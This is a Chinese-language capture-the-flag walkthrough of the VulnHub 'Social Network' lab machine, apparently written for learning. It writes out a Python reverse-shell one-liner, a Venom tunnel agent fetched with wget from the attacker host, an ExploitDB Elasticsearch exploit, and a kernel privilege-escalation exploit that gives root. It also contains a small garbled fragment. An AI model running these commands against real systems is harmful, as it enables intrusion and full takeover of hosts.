靶機下載地址
https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
打靶過程
由于靶機和我的Kali都處于同一個網段,所以使用arpscan二次發現技術來識別目標主機的IP地址
arpscan -l
除了192.168.174.133,其他IP都是我VMware虛擬機正常運行會使用到的IP
那么拿到IP之后,對IP進行全端口的掃描,看看有哪些端口開起了,有哪些服務存在
nmap -p- 192.168.174.133
再進行一下服務版本的探測
nmap -p22,5000 -sV 192.168.174.133
在 nmap 中,-sV 參數是用來進行服務版本檢測的。當你使用 -sV 參數掃描目標主機時,nmap 會嘗試探測主機上運行的各種服務及其版本信息。這對于識別目標系統中運行的具體服務版本是非常有用的,可以幫助確定是否存在已知的漏洞或安全問題。
使用 -sV 的主要功能和工作原理:
- 服務版本檢測:
- nmap 使用 -sV 參數時,會發送特定的探測請求到目標主機的開放端口,通過分析目標主機對請求的響應來判斷具體的服務及其版本信息。
- 精準信息:
- 相比于僅僅檢測端口是否開放(使用 -sS 或 -sT 等參數進行端口掃描),-sV 參數能夠提供更詳細和精準的信息,包括服務的具體版本號。
- 識別漏洞:
- 通過得知具體的服務版本號,可以幫助安全專家或管理員快速判斷服務是否存在已知漏洞或安全問題,進而采取相應的安全措施或修復措施。
- 使用示例:
- 基本用法:nmap -sV
- 指定端口范圍:nmap -sV -p
- 針對多個目標:nmap -sV …
- 注意事項:
- -sV 參數會增加掃描時間和網絡流量,因為它需要發送多個探測請求并等待響應。對于大型網絡或復雜的目標系統,可能需要更多時間來完成掃描。
- 某些防火墻或入侵檢測系統可能會檢測到 nmap 的服務版本檢測行為,并采取防御措施。
總之,-sV 參數使得 nmap 在掃描過程中可以提供更多有關目標主機上服務的詳細信息,有助于評估系統的安全性和配置狀態。
發現Ubantu和python
既然是Http服務,那么我們就訪問一個Web界面
沒有發現有注入點,那么我們嘗試一下目錄掃描
dirsearch -u "http://192.168.174.133:5000/"
發現了后臺地址,發現可以進行代碼執行,放到exec()函數中執行的
那么我們可以進行一個反彈shell,利用python
先在kali中監聽端口
nc -lvvnp 6666
然后在網站中執行反彈shell的代碼
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.174.128",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
成功反彈shell
但是發現可能是在docker容器里面的,因為有Dockerfile文件存在。
如果還不確定是否是docker容器,有兩個方法
1、查看根目錄下是否存在 .dockerenv 這個文件
ls /.dockerenv
如果存在 .dockerenv 這個文件,那么90%說明這就是docker系統
2、查看 /proc/1/cgroup
cat /proc/1/cgroup
如果出現這些內容,那么100%是一個docker容器
因為Linux系統啟動之后,1這個PID就代表著這個系統上的初始化進程的ID,當初始化ID的cgroup文件包含著明確的docker鏡像主機的這些信息的話,那就100%是一個docker容器
那么先查看一下當前的docker的IP地址
172.17.0.3/16
那我們把docker當成內網,然后把內網網段的每一個IP都ping一遍,看看有沒有回包
用一個腳本來測試
for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done
這段代碼是一個簡單的 Bash 腳本,用于循環執行 ping 命令,以便對一組 IP 地址進行測試。讓我們逐步解釋這段代碼的每個部分:
- for 循環:
bashfor i in $(seq 1 10);
- for i in … 表示開始一個循環,其中 i 是循環變量。
- ( s e q 110 ) 是一個命令替換,它生成從 1 到 10 的整數序列。因此, (seq 1 10) 是一個命令替換,它生成從 1 到 10 的整數序列。因此, (seq110)是一個命令替換,它生成從1到10的整數序列。因此,i 將會依次取值 1 到 10。
- ping 命令:
bashping -c 1 172.17.0.$i;
- ping 命令用于向指定的主機發送 ICMP 回顯請求,以測試主機的可達性和響應時間。
- -c 1 參數表示發送一個 ICMP 請求,即每個主機只發送一個請求。
- 172.17.0.$i 是一個帶有變量的 IP 地址,其中 $i 是 for 循環中的當前值,用來替換為具體的 IP 地址,如 172.17.0.1 到 172.17.0.10。
- 循環體:
- 整個 for 循環的主體是 ping -c 1 172.17.0.$i;,這意味著會對序列中的每個 IP 地址執行一次 ping 操作。
執行過程:
- 當腳本執行時,$i 會依次取值 1 到 10。
- 對于每個循環迭代,ping 命令會發送一個 ICMP 請求到指定的 IP 地址(例如 172.17.0.1 到 172.17.0.10)。
- 如果目標主機響應,則輸出顯示主機的響應時間和狀態信息;如果沒有響應,則顯示主機不可達或超時的信息。
注意事項:
- 權限:執行 ping 命令通常需要足夠的權限,通常是 root 或者具有相應網絡權限的用戶。
- 網絡設置:確保你的網絡設置允許 ICMP 請求,否則 ping 命令可能無法正常工作。
- 循環范圍:代碼中使用的 IP 地址范圍和具體地址可能會根據實際情況和網絡配置而變化。
這段代碼適合于快速測試一組 IP 地址是否可達,并獲得它們的基本網絡信息。
發現三個IP回包了
接下來要使用內網穿透技術,把我的Kali到它內網的這個路由給打通
推薦使用Venom v1.1.0,下載地址https://github.com/Dliv3/Venom/releases
下載后放到Kali中解壓
我們現在要做的是把客戶端程序,先傳輸拷貝到目標系統上,然后再通過Kali
上的服務器端程序,在他們之間建立一條隧道
那么現在Kali中開啟服務端,監聽9999端口,等待容器系統和我的Kali建立反彈的連接
然后目標服務器需要下載我的客戶端程序
我先通過python開啟一個http服務,然后讓目標服務器直接通過Wegt來下載客戶端程序
python3 -m http.server 80
然后再目標服務器上執行命令
wget http://192.168.174.128/agent_linux_x64
chmod +x agent_linux_x64 //賦予執行權限
./agent_linux_x64 -rhost 192.168.174.128 -rport 9999 // 連接Kali
Kali發現了一個已連接的節點
goto 1
socks 1080 //啟動socks代理
為了讓Kali上的所用工具都可以通過代理去掃描內網的所有網段的話,那必須使用另外一個工具 proxychains4 ,可以掛載我們當前的代理
vim /etc/proxychains4.conf
Nmap掃描一下端口,當然前提是要掛上proxychains
proxychains nmap -Pn -sT 172.17.0.1
- -Pn 參數:
- -Pn 參數告訴 nmap 不要進行主機發現(即不要進行Ping測試),而是假設目標主機是活躍的。這是一種繞過目標主機可能配置的防火墻或過濾規則的方法,因為有些網絡設備會屏蔽 Ping 請求。
- -sT 參數:
- -sT 參數指定了使用 TCP 連接掃描(也稱為全連接掃描)。在 TCP 連接掃描中,nmap 會嘗試建立一個完全的 TCP 連接,以判斷目標端口的狀態(開放、關閉、過濾)。
再看一下版本
proxychains nmap -Pn -sT -sV 172.17.0.1
proxychains 是一個工具,它允許用戶將其他命令通過代理服務器執行,而不是直接連接到目標主機。
- proxychains 是一個用于代理網絡連接的工具。它能夠劫持其他命令的網絡連接,將其通過配置好的代理服務器轉發出去,從而達到隱藏真實 IP 地址或繞過網絡防火墻的目的。
發現就是我們原來的那臺,只不過172.17.0.1是面向內網容器的IP
那么我們再掃描一下172.17.0.2這個IP
proxychains nmap -Pn -sT -sV 172.17.0.2
發現是Elasticsearch,我們可以利用一下漏洞
searchsploit Elasticsearch
那我們把漏洞利用代碼復制到當前目錄上查看一下
cp /usr/share/exploitdb/exploits/linux/remote/36337.py .
發現是Python2的
提示需要加上 target 參數
proxychains python2 36337.py 172.17.0.2
解密密碼https://www.somd5.com/
SSH登錄
proxychains ssh john@172.17.0.1
看一下內核
searchsploit Linux 3.13.0 Ubuntu
看一下可利用的漏洞
先弄下來看看代碼
cp /usr/share/exploitdb/exploits/linux/local/37292.c .
發現需要gcc來編譯,但是目標靶機上面沒有gcc
先找到二進制共享庫文件ofs-lib.so
locate ofs-lib.so
然后我們直接在Kali什么編譯好之后再發過去,然后將這段代碼給注釋掉
gcc -o exp 37292.c
有報錯但是不影響
然后把ofs-lib.so文件也拷貝過來
/usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so
開啟Http服務
python3 -m http.server 80
john@socnet:~$ wget http://192.168.174.128/exp
john@socnet:~$ wget http://192.168.174.128/ofs-lib.so
下載完成后將他們放到/tmp臨時目錄下,這個目錄權限大一點
前面也有說在/tmp目錄下調用,這樣可以減少報錯
mv * /tmp
chmod +x exp
./exp
獲得root權限!
總結
- 先進行主機發現,然后針對發現的主機進行端口掃描以及服務的掃描
- 掃描完之后發現靶機在5000端口的一個Web應用,嘗試訪問Web應用
- 在Web應用下,我們未獲得已知漏洞
- 通過dirsearch在5000端口發現了后臺路徑
- 在后臺地址發現了遠程代碼執行漏洞,利用這個漏洞,獲取到了一個目標系統的反彈shell
- 獲得shell之后,發現自己被困在一個docker的容器系統里面,基于容器系統,對內網的IP地址段進行發現
- 識別除了兩個內網主機中的IP地址,一個是172.17.0.1,一個是172.17.0.2
- 然后掛上代理進行內網穿透,對這兩個地址進行了全端口的掃描,在掃描過程中發現0.2地址上面開啟了9200端口
- 而9200端口是Elasticsearch默認的服務監聽端口,所以嘗試對Elasticsearch進行漏洞的利用和攻擊,結果成功拿下了172.17.0.2這臺主機
- 在這臺主機里繼續進行信息收集,我們發現了一個password的文件,在里面收獲了john這個賬號的密碼,密碼是需要進行破解的
- 拿到賬號密碼之后嘗試對內網所有開啟22端口的主機進行登錄,最終成功登錄目標的靶機系統
- 登錄后沒有root權限,需要進行本地提權
- 發現是比較老的操作系統,內核版本比較老,所以使用針對內核漏洞進行提權的代碼
- 但是漏洞利用代碼又沒有辦法在目標系統上進行GCC的編譯,所以不得不修改代碼重新編譯
- 把編譯之后的漏洞利用代碼和二進制的庫文件一起傳輸到目標服務器上
- 最終在目標服務器上成功利用漏洞進行本地提權,拿到root權限